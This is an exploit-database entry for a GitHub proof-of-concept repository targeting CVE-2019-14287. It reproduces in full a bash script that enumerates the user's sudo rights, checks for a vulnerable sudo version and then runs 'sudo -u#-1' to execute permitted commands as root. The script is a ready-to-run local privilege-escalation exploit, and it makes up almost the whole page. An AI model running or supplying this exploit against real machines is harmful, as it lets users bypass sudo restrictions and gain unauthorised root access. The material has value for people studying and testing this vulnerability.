Exploit database

GH-1c411649739ae6f2688b81301b8c626f

shallvhack/sudo-security-bypass-cve-2019-14287

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-14287

18 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

SudoSecurityBypass.sh

Shell · 3,114 bytes
#!/bin/bash


echo "====================================================================================================="
echo ' ██████╗██╗   ██╗███████╗    ██████╗  ██████╗  ██╗ █████╗        ██╗██╗  ██╗██████╗  █████╗ ███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗███║██╔══██╗      ███║██║  ██║╚════██╗██╔══██╗╚════██║
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║╚██║╚██████║█████╗╚██║███████║ █████╔╝╚█████╔╝    ██╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║ ██║ ╚═══██║╚════╝ ██║╚════██║██╔═══╝ ██╔══██╗   ██╔╝ 
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝ ██║ █████╔╝       ██║     ██║███████╗╚█████╔╝   ██║  
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝  ╚═╝ ╚════╝        ╚═╝     ╚═╝╚══════╝ ╚════╝    ╚═╝  
                                                                                                    '
echo "					Sudo Security Bypass Test"
echo ""
echo "			========= By Vivek Yadav (www.shellvhack.com)========="
echo "====================================================================================================="
echo 
sudo -l | \grep -e 'ALL.:.ALL' >>/dev/null 2>&1

if [[ $? -eq 0 ]]
then
	echo '>> The user has ALL sudo permissions.'
	echo '>> Hence,you should try using other user with lesser privileges.'
else
	# if user has sudo rights, but no ALL permission
	sudo -l >>/dev/null 2>&1
	if [[ $? -eq 1 ]]
	then
		echo '>> This user has no sudo rights!'
	else
		# set var with program which user can use
		SudoPerm=$(sudo -l | \grep '(' | cut -d/ -f2-)
		echo '>> The user has sudo rights.'
		echo '>> Checking the current version of sudo.'
		# set var with current sudo version to verify vulnerability
		SudoVer=$(sudo --version | \grep -i 'sudo version' | awk '{print $3}' | sed 's/\./,/g' | cut -c -6)
		if ((  $SudoVer < '1,8,28' ))
		then
			echo '>> The sudo version seems vulnerable to CVE-2019-14287'
			echo '>> Testing the Exploit:'
					if [[ $SudoPerm == *"ALL"* ]];
					then
						echo "Printing user and group information for the username:-";sudo -u#-1 id
					else
						sudo -u#-1 /$SudoPerm
					fi
					
		else
			echo 'The sudo version Doesnt seems vulnerable to CVE-2019-14287'

		fi
	fi
fi

echo ""